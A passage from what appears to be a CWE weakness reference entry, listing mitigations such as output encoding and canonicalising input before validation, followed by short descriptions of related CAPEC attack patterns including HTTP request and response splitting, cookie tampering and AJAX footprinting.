- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-30
Strategy: Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.